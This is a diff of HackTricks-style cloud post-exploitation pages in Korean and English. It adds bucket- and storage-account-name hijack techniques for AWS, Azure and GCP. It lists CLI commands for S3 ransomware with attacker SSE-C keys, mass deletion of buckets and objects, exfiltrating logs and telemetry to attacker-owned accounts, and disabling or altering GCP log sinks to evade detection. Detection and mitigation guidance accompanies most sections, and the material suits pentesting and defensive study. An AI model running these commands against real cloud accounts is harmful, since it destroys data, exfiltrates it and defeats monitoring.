Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md

@@ -4,46 +4,47 @@
 
 ## S3
 
-For more information check:
+더 많은 정보는 다음을 확인하세요:
 
 {{#ref}}
 ../../aws-services/aws-s3-athena-and-glacier-enum.md
 {{#endref}}
 
-### 민감한 정보
+### Sensitive Information
 
-때때로 버킷에서 읽을 수 있는 형태로 민감한 정보를 찾을 수 있습니다. 예: terraform state secrets.
+때때로 버킷에서 읽을 수 있는 sensitive information을 찾을 수 있습니다. 예를 들어, terraform state secrets입니다.
 
 ### Pivoting
 
-다른 플랫폼들이 민감한 자산을 저장하기 위해 S3를 사용할 수 있습니다. 예를 들어, **airflow**는 그곳에 **DAGs** **code**를 저장할 수 있고, **web pages**는 S3에서 직접 제공될 수 있습니다. 쓰기 권한을 가진 공격자는 버킷의 **code**를 **modify the code**하여 다른 플랫폼으로 **pivot**하거나, JS 파일을 수정해 **takeover accounts**할 수 있습니다.
+다양한 플랫폼이 S3를 사용해 sensitive assets를 저장할 수 있습니다.\
+예를 들어, **airflow**는 **DAGs** **code**를 거기에 저장할 수 있고, **web pages**는 S3에서 직접 제공될 수도 있습니다. 쓰기 권한이 있는 attacker는 버킷의 **code를 수정**해 다른 플랫폼으로 **pivot**하거나, JS files를 수정해 계정을 **takeover**할 수 있습니다.
 
 ### S3 Ransomware
 
-이 시나리오에서, **공격자는 자신의 AWS 계정** 또는 다른 침해된 계정에 KMS (Key Management Service) 키를 생성합니다. 그 후 이 **키를 전 세계 누구나 접근 가능하게** 만들어, 어떤 AWS 사용자, 역할, 계정도 이 키로 객체를 암호화할 수 있게 합니다. 그러나 해당 객체는 복호화할 수 없습니다.
+이 시나리오에서, **attacker는 자신의 AWS account** 또는 다른 compromised account에 **KMS (Key Management Service) key를 생성**합니다. 그런 다음 이 **key를 전 세계 누구나 접근할 수 있게** 만들어, 어떤 AWS user, role, 또는 account라도 이 key를 사용해 objects를 encrypt할 수 있게 합니다. 하지만 objects는 decrypt할 수 없습니다.
 
-공격자는 여러 방법으로 대상 **S3 bucket**을 식별하고 그에 대한 쓰기 권한을 획득합니다. 이는 버킷 설정이 부적절해 공개되어 있거나 공격자가 AWS 환경 자체에 접근했기 때문일 수 있습니다. 공격자는 일반적으로 PII, PHI, 로그, 백업 등 민감한 정보를 담고 있는 버킷을 표적으로 삼습니다.
+attacker는 대상 **S3 bucket을 식별하고 write-level access**를 얻습니다. 이는 버킷 설정이 부실해 public으로 노출되었기 때문일 수도 있고, attacker가 AWS environment 자체에 접근했기 때문일 수도 있습니다. attacker는 일반적으로 personally identifiable information (PII), protected health information (PHI), logs, backups 등 민감한 정보를 포함한 버킷을 노립니다.
 
-버킷이 ransomware의 대상이 될 수 있는지 판단하기 위해 공격자는 구성 설정을 확인합니다. 여기에는 **S3 Object Versioning**이 활성화되었는지, **multi-factor authentication delete (MFA delete)**가 활성화되었는지를 확인하는 것이 포함됩니다. Object Versioning이 활성화되어 있지 않다면 공격자는 진행할 수 있습니다. Object Versioning이 활성화되어 있지만 MFA delete가 비활성화되어 있으면 공격자는 **Object Versioning을 비활성화(disable Object Versioning)**할 수 있습니다. Object Versioning과 MFA delete가 모두 활성화되어 있다면 해당 버킷을 ransomware 대상으로 만드는 것이 더 어려워집니다.
+버킷이 ransomware 대상이 될 수 있는지 판단하기 위해 attacker는 설정을 확인합니다. 여기에는 **S3 Object Versioning**이 활성화되어 있는지, 그리고 **multi-factor authentication delete (MFA delete)**가 활성화되어 있는지 확인하는 것이 포함됩니다. Object Versioning이 활성화되어 있지 않다면 attacker는 진행할 수 있습니다. Object Versioning이 활성화되어 있지만 MFA delete가 비활성화되어 있다면 attacker는 **Object Versioning을 비활성화**할 수 있습니다. Object Versioning과 MFA delete가 모두 활성화되어 있다면, 해당 bucket을 ransomware로 공격하기는 더 어려워집니다.
 
-공격자는 AWS API를 사용해 버킷의 각 객체를 자신의 KMS 키로 암호화된 복사본으로 교체합니다(예: **replaces each object in the bucket with an encrypted copy using their KMS key**). 이렇게 하면 버킷의 데이터가 사실상 암호화되어 키 없이는 접근할 수 없게 됩니다.
+AWS API를 사용해 attacker는 bucket의 각 object를 자신의 KMS key로 encrypt된 copy로 **교체**합니다. 이렇게 하면 bucket의 data가 사실상 encrypt되어 key 없이는 접근할 수 없게 됩니다.
 
-추가 압박을 위해 공격자는 공격에 사용한 KMS 키의 삭제를 예약할 수 있습니다. 이렇게 하면 키가 삭제되어 데이터가 영구적으로 손실되기 전, 대상은 데이터를 복구할 수 있는 7일의 기한을 갖게 됩니다.
+추가적인 압박을 주기 위해, attacker는 공격에 사용한 KMS key의 deletion을 예약합니다. 이렇게 하면 target은 key가 삭제되고 data가 영구적으로 사라지기 전까지 7일 동안 data를 복구할 수 있습니다.
 
-마지막으로 공격자는 보통 "ransom-note.txt"라는 이름의 최종 파일을 업로드해, 대상이 파일을 복구하는 방법에 대한 지침을 제공합니다. 이 파일은 암호화 없이 업로드되어 대상의 주의를 끌고 랜섬웨어 공격 사실을 알리기 위함입니다.
+마지막으로 attacker는 보통 "ransom-note.txt"라는 최종 file을 업로드할 수 있으며, 여기에는 target이 file을 되찾는 방법에 대한 안내가 들어 있습니다. 이 file은 encryption 없이 업로드되어 target의 주의를 끌고 ransomware attack을 인지하게 만들 가능성이 높습니다.
 
 #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)
 
-또 다른 변형으로는 **SSE-C**(S3 server-side encryption with **customer-provided keys**)를 악용하는 방법이 있습니다. SSE-C의 경우 **클라이언트가 모든 요청에 암호화 키를 제공**하며 **AWS는 키를 저장하지 않습니다**. 따라서 공격자가 **자신의 SSE-C 키**로 객체를 다시 작성하면, 피해자는 공격자가 제어하는 키를 제공하지 않는 한 데이터에 접근하거나 읽을 수 없습니다.
+또 다른 변형은 **SSE-C** (S3 server-side encryption with **customer-provided keys**)를 악용하는 것입니다. SSE-C에서는 **client가 모든 request마다 encryption key를 제공**하며 **AWS는 key를 저장하지 않습니다**. 즉, attacker가 **자신의 SSE-C key로 objects를 다시 작성**하면, victim이 그 attacker-controlled key를 제공할 수 없는 한 data는 읽을 수 없게 됩니다.
 
-- **전제조건(Preconditions):** AWS 자격증명 탈취(또는 적절한 권한을 가진 어떤 principal) 및 객체를 **rewrite objects**할 수 있는 능력(예: 대상 키/프리픽스에서의 `s3:PutObject`). 이는 종종 파괴적인 lifecycle 정책을 설정할 수 있는 권한(아래 참조)과 결합됩니다(예: `s3:PutLifecycleConfiguration`).
-- **공격 체인(Attack chain):**
-1. 공격자가 무작위 256비트 키(AES-256)를 생성하고 보관합니다.
-2. 공격자가 SSE-C 헤더를 사용해 기존 객체(동일한 객체 키)를 **rewrites**하여 저장된 객체가 공격자 키로 암호화되도록 합니다.
-3. 피해자는 SSE-C 키를 제공하지 않으면 다운로드/복호화할 수 없습니다(설령 IAM 권한이 충분하더라도).
-4. 공격자는 키를 삭제하거나(또는 단순히 제공하지 않음) 데이터 복구를 불가능하게 만들 수 있습니다.
+- **Preconditions:** compromised AWS credentials(또는 적절한 permissions가 있는 principal)과 objects를 **다시 작성**할 수 있는 능력(예: 대상 keys/prefixes에 대한 `s3:PutObject`). 이는 종종 파괴적인 lifecycle policies를 설정할 수 있는 권한과 함께 사용됩니다(아래 참조). 예: `s3:PutLifecycleConfiguration`.
+- **Attack chain:**
+1. Attacker가 random 256-bit key (AES-256)를 생성해 보관합니다.
+2. Attacker가 SSE-C headers를 사용해 기존 objects(같은 object keys)를 **다시 작성**하여 저장된 object가 attacker key로 encrypt되게 합니다.
+3. Victim은 SSE-C key를 제공하지 않으면 download/decrypt할 수 없습니다(IAM permissions가 정상이어도 마찬가지입니다).
+4. Attacker는 key를 삭제하거나(혹은 단순히 제공하지 않거나) 해서 data를 복구 불가능하게 만들 수 있습니다.
 
-Example (conceptual) CLI usage:
+예시(개념적) CLI usage:
 ```bash
 # Upload/overwrite an object encrypted with attacker-provided SSE-C key
 aws s3 cp ./file s3://<BUCKET>/<KEY> \
@@ -55,25 +56,25 @@ aws s3 cp s3://<BUCKET>/<KEY> ./file \
 --sse-c AES256 \
 --sse-c-key <BASE64_32_BYTES>
 ```
-##### 압박 가하기: 수명 주기 "타이머" 남용
+##### Adding Pressure: Lifecycle "Timer" Abuse
 
-복구 옵션(예: 이전 버전)을 제거하기 위해, 공격자는 SSE-C 재작성과 **수명 주기 규칙(lifecycle rules)**를 결합해 객체를 만료시키거나 일정 기간 후 비현재(noncurrent) 버전을 삭제할 수 있습니다:
+복구 옵션(예: old versions)을 제거하기 위해, attackers는 SSE-C rewrites를 **lifecycle rules**와 결합해 짧은 기간 후 objects 및/또는 noncurrent versions가 만료되거나 삭제되도록 할 수 있습니다:
 
-- 버킷에 대한 `s3:PutLifecycleConfiguration` 권한은 공격자가 각 객체/버전에 대해 명시적 삭제 작업을 수행하지 않고도 삭제를 예약할 수 있게 합니다.
-- 이는 **versioning이 활성화된** 경우에 특히 큰 영향을 미치는데, 그렇지 않으면 복구를 허용했을 "이전의 정상 버전"을 제거할 수 있기 때문입니다.
+- bucket에 대한 `s3:PutLifecycleConfiguration`은 attacker가 모든 object/version에 대해 명시적인 delete operation을 실행하지 않고도 삭제를 예약할 수 있게 합니다.
+- 이는 **versioning이 enabled**일 때 특히 큰 영향이 있습니다. 그렇지 않으면 복구를 가능하게 해줄 "previous good version"을 제거할 수 있기 때문입니다.
 
-##### 감지 및 완화
+##### Detection & Mitigations
 
-- 특별한 운영상의 이유가 없다면 SSE-C보다 **SSE-KMS**(또는 SSE-S3)를 선호하세요.
-- SSE-C 헤더를 사용하는 `PutObject` 요청을 모니터링/경보하세요 (S3에 대한 CloudTrail 데이터 이벤트).
-- 예상치 못한 `PutBucketLifecycleConfiguration`(수명 주기 변경)을 모니터링/경보하세요.
-- 덮어쓰기 활동의 급증(같은 키가 빠르게 업데이트됨) 및 delete-marker/버전 삭제를 모니터링/경보하세요.
-- 고위험 권한 제한: `s3:PutObject`을 필요한 접두사로 제한하세요; `s3:PutLifecycleConfiguration` 및 `s3:PutBucketVersioning`은 엄격히 제한하세요; 민감한 관리자 작업에 대해 MFA를 요구(적용 가능한 경우)하고 승인 절차가 있는 별도 관리자 역할을 사용 고려하세요.
-- 복구 태세: **versioning**, **backups**, 불변(immutable)/오프라인 복사본 사용(보호된 계정으로의 S3 복제, 백업 볼트 등); 비현재(noncurrent) 버전을 과도한 삭제로부터 보호하고 SCPs / 가드레일로 수명 주기 변경을 차단하세요.
+- 특별한 운영상 이유가 있어 SSE-C를 허용해야 하는 경우가 아니라면 **SSE-KMS**(또는 SSE-S3)를 SSE-C보다 우선 사용하세요.
+- SSE-C headers를 사용하는 `PutObject` requests를 모니터링/알림 설정하세요(S3에 대한 CloudTrail data events).
+- 예상치 못한 `PutBucketLifecycleConfiguration`(lifecycle changes)을 모니터링/알림 설정하세요.
+- overwrite activity의 갑작스러운 증가(same keys가 빠르게 updated되는 경우)와 delete-marker/version deletions를 모니터링/알림 설정하세요.
+- high-risk permissions를 제한하세요: `s3:PutObject`를 필요한 prefixes로만 제한하고; `s3:PutLifecycleConfiguration` 및 `s3:PutBucketVersioning`을 강하게 restrict 하세요; 민감한 admin actions에는 MFA 요구를 고려하고(해당되는 경우) 승인 절차가 있는 별도의 admin roles를 사용하세요.
+- recovery posture: **versioning**, **backups**, 그리고 immutable/offline copies(S3 replication to protected account, backup vaults 등)를 사용하세요; noncurrent versions가 aggressive deletion에 의해 제거되지 않도록 보호하고 SCPs / guardrails로 lifecycle changes를 보호하세요.
 
 ### `s3:RestoreObject`
 
-`s3:RestoreObject` 권한을 가진 공격자는 Glacier 또는 Deep Archive에 보관된 객체를 재활성화하여 일시적으로 접근 가능하게 만들 수 있습니다. 이는 보통 접근 불가능한 과거 아카이브된 데이터(백업, 스냅샷, 로그, 증명서, 오래된 비밀 등)의 복구 및 exfiltration을 가능하게 합니다. 공격자가 이 권한을 s3:GetObject와 같은 읽기 권한과 결합하면 민감한 데이터의 전체 복사본을 획득할 수 있습니다.
+s3:RestoreObject permission을 가진 attacker는 Glacier 또는 Deep Archive에 보관된 objects를 재활성화하여 일시적으로 접근 가능하게 만들 수 있습니다. 이를 통해 원래는 접근할 수 없어야 할 과거에 archived된 data(백업, snapshots, logs, certifications, old secrets)의 복구와 exfiltration이 가능합니다. attacker가 이 permission을 read permissions(예: `s3:GetObject`)과 결합하면 sensitive data의 전체 copy를 얻을 수 있습니다.
 ```bash
 aws s3api restore-object \
 --bucket <BUCKET_NAME> \
@@ -85,7 +86,7 @@ aws s3api restore-object \
 ```
 ### `s3:Delete*`
 
-해당 s3:Delete* 권한을 가진 공격자는 객체, 버전, 전체 버킷을 삭제하고 백업을 중단시켜 즉각적이고 되돌릴 수 없는 데이터 손실, 증거 파기, 그리고 백업 또는 복구 아티팩트의 손상을 초래할 수 있습니다.
+s3:Delete* 권한을 가진 공격자는 objects, versions, 및 전체 buckets를 삭제하고, backups를 방해하며, 즉각적이고 되돌릴 수 없는 데이터 손실, 증거 파괴, 그리고 backup 또는 recovery artifacts의 손상을 초래할 수 있습니다.
 ```bash
 # Delete an object from a bucket
 aws s3api delete-object \
@@ -102,6 +103,34 @@ aws s3api delete-object \
 aws s3api delete-bucket \
 --bucket <BUCKET_NAME>
 ```
-**자세한 정보** [**원본 연구를 확인하세요**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+### autonomous writers의 Global bucket name takeover - `s3:DeleteBucket`
+
+S3 bucket 이름은 전역적으로 unique합니다. 피해자 account에 `arn:aws:s3:::<bucket-name>`로 데이터를 계속 전송하는 automated writers가 있고 attacker가 그 bucket을 비우거나 삭제할 수 있다면, attacker는 attacker-controlled account에서 같은 bucket 이름을 다시 만들고 upstream service configuration을 변경하지 않은 채 향후 전달 데이터를 받을 수 있습니다.
+
+검토할 만한 좋은 target에는 S3 replication destination, Kinesis Data Firehose delivery stream, CloudWatch Logs/SNS/WAF delivery chain 중 S3로 떨어지는 것, 그리고 custom backup 또는 export job이 포함됩니다.
+```bash
+# Review S3 replication destinations on source buckets
+aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
+
+# Review Firehose S3 destinations
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME>
+
+# Empty and delete the target bucket, if permitted
+aws s3 rm s3://<BUCKET_NAME> --recursive
+aws s3api delete-bucket --bucket <BUCKET_NAME>
+
+# Recreate the same globally-unique name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+대체 bucket policy는 상위 writer가 objects를 put할 수 있도록 허용해야 합니다. 정확한 principal은 service에 따라 다릅니다. 예를 들어 IAM replication role, Firehose delivery role, 또는 `aws:SourceArn` / `aws:SourceAccount`로 제한된 service principal이 있습니다.
+
+**Potential Impact:** future replicated objects, logs, telemetry, backups, 그리고 pipeline artifacts가 attacker-controlled AWS account로 조용히 exfiltration될 수 있습니다.
+
+**Detection & Mitigation:** replication rules나 delivery streams에서 참조되는 buckets 삭제를 alert하고, `NoSuchBucket` delivery failures 뒤에 bucket recreation이 이어지는지 monitor하며, export destinations에 대한 `s3:DeleteBucket`을 restrict하고, strict bucket policies와 ownership expectations로 cross-account deliveries를 pin하세요.
+
+
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md

@@ -2,12 +2,12 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-공격자가 제어하는 Kinesis Data Firehose delivery stream를 피해자의 SNS standard topic에 등록하기 위해 Firehose subscription 프로토콜을 악용합니다. 구독이 설정되고 필요한 IAM 역할이 `sns.amazonaws.com`을 신뢰하면, 이후 모든 알림은 수사적인 소음 없이 공격자의 S3 버킷에 영구적으로 기록됩니다.
+Firehose subscription protocol을 악용해 공격자가 제어하는 Kinesis Data Firehose delivery stream을 피해자 SNS standard topic에 등록한다. subscription이 설정되고 필요한 IAM role이 `sns.amazonaws.com`을 trust하면, 이후 모든 notification은 최소한의 노이즈로 공격자의 S3 bucket에 지속적으로 기록된다.
 
 ## Requirements
-- 공격자 계정에서 S3 버킷, Firehose delivery stream 및 Firehose가 사용하는 IAM 역할을 생성할 수 있는 권한 (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, 등).
-- 피해자 topic에 대해 `sns:Subscribe` 할 수 있는 권한(구독 생성 후 subscription role ARN이 제공되는 경우 선택적으로 `sns:SetSubscriptionAttributes` 권한 필요).
-- 공격자 주체가 구독할 수 있도록 허용하는 topic policy(또는 공격자가 이미 동일 계정 내부에서 운영 중인 경우).
+- 공격자 account에서 S3 bucket, Firehose delivery stream, 그리고 Firehose가 사용하는 IAM role을 생성할 수 있는 권한 (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
+- 피해자 topic에 `sns:Subscribe`할 수 있는 능력 (그리고 subscription role ARN이 생성 후 제공되는 경우 `sns:SetSubscriptionAttributes`도 선택적으로 필요).
+- 공격자 principal의 subscribe를 허용하는 topic policy, 또는 공격자가 이미 같은 account 내에서 동작 중인 경우.
 
 ## Attack Steps (same-account example)
 ```bash
@@ -68,9 +68,23 @@ sleep 90
 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
 ```
 ## Cleanup
-- SNS 구독, Firehose delivery stream, 임시 IAM 역할/정책 및 공격자 S3 버킷을 삭제합니다.
+- SNS subscription, Firehose delivery stream, temporary IAM roles/policies, 그리고 attacker S3 bucket을 삭제합니다.
 
 ## Impact
-**잠재적 영향**: 타깃 SNS topic에 게시된 모든 메시지가 공격자 제어 스토리지로 지속적이고 내구성 있게 exfiltration되며, 운영상 흔적은 최소화됩니다.
+**Potential Impact**: 최소한의 운영 흔적으로 targeted SNS topic에 publish되는 모든 메시지를 attacker-controlled storage로 지속적이고 영구적으로 exfiltration할 수 있습니다.
+
+## Related Bucket-Name Hijack Variant
+
+기존 SNS -> Firehose -> S3 chain이 이미 bucket에 write하고 있고 attacker가 그 bucket을 delete할 수 있다면, attacker-controlled account에서 동일한 globally-unique S3 bucket name을 다시 생성할 수 있습니다. 이후 Firehose delivery는 SNS subscription이나 Firehose stream configuration을 변경하지 않고도 replacement bucket에 landing할 수 있습니다.
+```bash
+# Identify the Firehose S3 destination
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME> \
+--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
+
+# After deleting the original bucket, recreate the same name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+Firehose delivery role에 replacement bucket에 대한 액세스를 부여하라, role이 cross-account로 쓸 수 있다면. Firehose destinations의 bucket deletion, delivery failures, 그리고 unexpected bucket ownership changes를 모니터링하라.
 
 {{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## Storage Privesc
 
-저장소에 대한 자세한 정보는 다음을 확인하세요:
+Storage에 대한 자세한 정보는 다음을 확인하세요:
 
 {{#ref}}
 ../az-services/az-storage.md
@@ -12,7 +12,7 @@
 
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
 
-이 권한을 가진 주체는 컨테이너 내의 블롭(파일)을 **목록화**하고 **다운로드**할 수 있으며, 이 파일에는 **민감한 정보**가 포함될 수 있습니다.
+이 권한을 가진 principal은 컨테이너 안의 blobs(files)를 **list**할 수 있고, **sensitive information**을 포함할 수 있는 파일을 **download**할 수 있습니다.
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
 az storage blob list \
@@ -26,7 +26,7 @@ az storage blob download \
 ```
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
 
-이 권한을 가진 주체는 **컨테이너에 파일을 작성하고 덮어쓸 수** 있으며, 이는 그가 손상을 초래하거나 권한을 상승시킬 수 있게 할 수 있습니다 (예: blob에 저장된 일부 코드를 덮어쓰기).
+이 권한이 있는 principal은 **containers 안의 files를 write하고 overwrite**할 수 있으며, 이로 인해 일부 damage를 일으키거나 심지어 privileges를 escalate할 수 있습니다(예: blob에 저장된 일부 code를 overwrite):
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
 az storage blob upload \
@@ -36,6 +36,35 @@ az storage blob upload \
 ```
 ### \*/delete
 
-이것은 스토리지 계정 내의 객체를 삭제할 수 있게 하여 **일부 서비스에 중단을 초래**하거나 클라이언트가 **귀중한 정보를 잃게** 만들 수 있습니다.
+이것은 storage account 내부의 object를 삭제할 수 있게 하며, 이는 일부 서비스를 **중단**시키거나 client가 **중요한 정보**를 **잃게** 만들 수 있다.
+
+### Storage account name takeover of diagnostic exports
+
+Azure Storage account 이름은 전역적으로 고유하다. Azure Monitor diagnostic settings 같은 일부 autonomous exports는 구성된 storage account에 계속 logs 또는 metrics를 쓴다. 공격자가 그 storage account를 삭제하고, 같은 tenant 내의 attacker-controlled subscription에서 동일한 이름으로 다시 생성할 수 있다면, 이후 exported telemetry는 diagnostic setting을 수정하지 않아도 대체 account로 전달될 수 있다.
+
+이는 공격자가 `Microsoft.Storage/storageAccounts/delete` 같은 destructive permissions은 가지고 있지만, monitored resource나 그 diagnostic settings는 업데이트할 수 없을 때 특히 흥미롭다.
+
+이를 위해서는 storage account 이름이 재사용 가능 상태로 풀려야 한다. 실제로는 Azure storage account soft delete / recovery protections가 즉시 재사용을 지연하거나 막을 수 있으며, 특히 tenant 간에는 더 그렇다.
+```bash
+# Find diagnostic settings that write to a storage account
+az monitor diagnostic-settings list \
+--resource <RESOURCE_ID> \
+--query '[].{name:name,storageAccountId:storageAccountId}'
+
+# Delete the storage account, if permitted
+az storage account delete \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <RESOURCE_GROUP>
+
+# Recreate the same globally-unique storage account name
+az storage account create \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <ATTACKER_RESOURCE_GROUP> \
+--location <LOCATION> \
+--sku Standard_LRS
+```
+**Potential Impact:** 공격자가 제어하는 subscription으로 future logs, metrics, audit data, diagnostic archives가 장기간 exfiltration될 수 있음.
+
+**Detection & Mitigation:** diagnostic settings에서 참조되는 storage accounts 삭제에 대해 alert하고, `storageAccountId`가 있는 diagnostic settings를 inventory하며, dangling destinations를 monitor하고, logging/archive storage accounts에 대한 destructive permissions를 엄격히 restrict 하라.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md

@@ -2,33 +2,33 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## 기본 정보
+## Basic Information
 
-자세한 내용은 다음을 확인하세요:
+더 많은 정보는 다음을 확인하세요:
 
 {{#ref}}
 ../gcp-services/gcp-logging-enum.md
 {{#endref}}
 
-모니터링을 교란하는 다른 방법은 다음을 확인하세요:
+모니터링을 방해하는 다른 방법은 다음을 확인하세요:
 
 {{#ref}}
 gcp-monitoring-post-exploitation.md
 {{#endref}}
 
-### 기본 로깅
+### Default Logging
 
-**기본적으로 단순한 읽기(read) 작업만으로는 탐지되지 않습니다. 자세한 내용은 Logging Enum 섹션을 확인하세요.**
+**기본적으로 read actions를 수행한다고 해서 바로 적발되지는 않습니다. 더 많은 정보는 Logging Enum 섹션을 확인하세요.**
 
-### 예외로 지정된 Principal 추가
+### Add Excepted Principal
 
-[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) 및 [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit)에서 로그를 생성하지 않도록 principal을 추가할 수 있습니다. 공격자는 이를 악용해 탐지를 피할 수 있습니다.
+[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) 및 [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit)에서 logs를 생성하지 않도록 principals를 추가할 수 있습니다. 공격자는 이를 악용해 적발을 피할 수 있습니다.
 
-### 로그 읽기 - `logging.logEntries.list`
+### Read logs - `logging.logEntries.list`
 
 <details>
 
-<summary>로그 항목 읽기</summary>
+<summary>Read log entries</summary>
 ```bash
 # Read logs
 gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -100,7 +100,7 @@ gcloud logging links delete <link-id> --bucket <bucket> --location <location>
 
 <details>
 
-<summary>로그 뷰 삭제</summary>
+<summary>logging view 삭제</summary>
 ```bash
 # Delete a logging view to remove access to anyone using it
 gcloud logging views delete <view-id> --bucket=<bucket> --location=global
@@ -111,7 +111,7 @@ gcloud logging views delete <view-id> --bucket=<bucket> --location=global
 
 <details>
 
-<summary>로깅 뷰를 업데이트하여 데이터를 숨기기</summary>
+<summary>데이터를 숨기기 위해 logging view 업데이트</summary>
 ```bash
 # Update a logging view to hide data
 gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
@@ -122,7 +122,7 @@ gcloud logging views update <view-id> --log-filter="resource.type=gce_instance"
 
 <details>
 
-<summary>로그 기반 메트릭 업데이트</summary>
+<summary>로그 기반 metrics 업데이트</summary>
 ```bash
 # Update log based metrics - logging.logMetrics.update
 gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
@@ -133,7 +133,7 @@ gcloud logging metrics update <metric-name> --description="Changed metric descri
 
 <details>
 
-<summary>로그 기반 메트릭 삭제</summary>
+<summary>로그 기반 metrics 삭제</summary>
 ```bash
 # Delete log based metrics - logging.logMetrics.delete
 gcloud logging metrics delete <metric-name>
@@ -155,7 +155,7 @@ gcloud logging sinks delete <sink-name>
 
 <details>
 
-<summary>로그 sink 업데이트/중단</summary>
+<summary>로그 sink 업데이트/방해</summary>
 ```bash
 # Disable sink - logging.sinks.update
 gcloud logging sinks update <sink-name> --disabled
@@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
 ```
 </details>
 
+### Cloud Logging sink bucket-name hijack - `storage.buckets.delete`
+
+Cloud Logging sink은 로그를 `storage.googleapis.com/<bucket-name>` 또는 `storage.googleapis.com/<bucket-name>/<prefix>` 같은 Cloud Storage destination으로 지속적으로 export할 수 있습니다. 공격자가 destination bucket을 삭제할 수 있지만 sink는 update할 수 없다면, attacker-controlled project에서 동일한 globally-unique bucket name을 다시 만들어 이후 export되는 로그를 다른 곳으로 redirect할 수 있습니다.
+
+이것은 compromised principal이 `storage.buckets.delete`, `storage.objects.delete`, `storage.objects.list` 같은 destructive storage permissions은 가지고 있지만 `logging.sinks.update`는 가지고 있지 않을 때 유용합니다.
+```bash
+# Find sinks that export to Cloud Storage
+gcloud logging sinks list --project <PROJECT_ID> \
+--format='table(name,destination,disabled,writerIdentity)'
+
+# Empty and delete the destination bucket, if permitted
+gcloud storage rm -r gs://<BUCKET_NAME>
+
+# Recreate the same bucket name in the attacker-controlled project
+gcloud storage buckets create gs://<BUCKET_NAME> \
+--project <ATTACKER_PROJECT_ID> \
+--location <LOCATION>
+
+# Allow the sink writer identity to write objects into the replacement bucket
+gcloud storage buckets add-iam-policy-binding gs://<BUCKET_NAME> \
+--member='serviceAccount:<SINK_WRITER_IDENTITY>' \
+--role='roles/storage.objectCreator' \
+--project <ATTACKER_PROJECT_ID>
+```
+**Potential Impact:** future audit logs, application logs, security telemetry 및 sink filter와 일치하는 기타 모든 이벤트의 조용한 장기 exfiltration.
+
+**Detection & Mitigation:** 활성 sink에서 참조하는 bucket 삭제에 대해 alert를 설정하고, dangling bucket names에 대한 sink destinations를 inventory하며, logging destinations에 대한 `storage.buckets.delete`를 restrict하고, 가능한 경우 retention/hold controls로 export buckets를 보호하세요.
+
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md

@@ -4,7 +4,7 @@
 
 ## Pub/Sub
 
-Pub/Sub에 대한 자세한 정보는 다음 페이지를 확인하세요:
+Pub/Sub에 대한 더 많은 정보는 다음 페이지를 확인하세요:
 
 {{#ref}}
 ../gcp-services/gcp-pub-sub.md
@@ -12,11 +12,11 @@ Pub/Sub에 대한 자세한 정보는 다음 페이지를 확인하세요:
 
 ### `pubsub.topics.publish`
 
-토픽에 메시지를 게시합니다. **예상치 못한 데이터를 전송**하고 예기치 못한 기능을 트리거하거나 취약점을 악용하는 데 유용합니다:
+topic에 메시지를 publish합니다. **예상치 못한 데이터를 전송**하고 예상치 못한 기능을 트리거하거나 취약점을 exploit하는 데 유용합니다:
 
 <details>
 
-<summary>토픽에 메시지 게시</summary>
+<summary>topic에 메시지 publish</summary>
 ```bash
 # Publish a message in a topic
 gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -25,7 +25,7 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
 
 ### `pubsub.topics.detachSubscription`
 
-구독이 메시지를 받지 못하도록 방지하는 데 유용합니다. 탐지를 회피하기 위해 사용할 수 있습니다.
+구독이 메시지를 수신하지 못하게 막는 데 유용하며, 탐지를 피하기 위해 사용할 수 있습니다.
 
 <details>
 
@@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
 
 ### `pubsub.topics.delete`
 
-subscription이 메시지를 수신하지 못하게 막는 데 유용하며, 탐지를 피하기 위해 사용할 수 있습니다.\
